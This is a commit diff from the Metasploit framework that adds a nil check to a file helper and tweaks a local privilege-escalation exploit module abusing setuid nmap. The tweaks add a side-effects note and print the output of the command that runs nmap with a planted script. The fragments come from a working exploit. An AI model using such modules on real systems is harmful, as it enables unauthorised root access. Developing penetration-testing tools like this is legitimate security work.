Improve setuid nmap module

This commit is contained in:
adfoster-r7 2021-09-21 01:47:59 +01:00
parent 88bf1ac3de
commit ed72ca217a
No known key found for this signature in database
GPG Key ID: 3BD4FA3818818F04
2 changed files with 6 additions and 2 deletions

View File

@ -181,6 +181,8 @@ module Msf::Post::File
#
# @param path [String] Remote filename to check
def file?(path)
return false if path.nil?
if session.type == 'meterpreter'
stat = begin
session.fs.file.stat(path)

View File

@ -42,7 +42,8 @@ class MetasploitModule < Msf::Exploit::Local
'Notes' =>
{
'Reliability' => [ REPEATABLE_SESSION ],
'Stability' => [ CRASH_SAFE ]
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ ARTIFACTS_ON_DISK ]
},
'DefaultTarget' => 0
)
@ -95,7 +96,8 @@ class MetasploitModule < Msf::Exploit::Local
begin
# Versions before 4.75 (August 2008) will not run scripts without a port scan
cmd_exec "#{datastore['Nmap']} --script #{scriptname} -p80 localhost #{datastore['ExtraArgs']}"
result = cmd_exec "#{datastore['Nmap']} --script #{scriptname} -p80 localhost #{datastore['ExtraArgs']}"
vprint_status(result)
ensure
rm_f(lua_file, exe_file)
end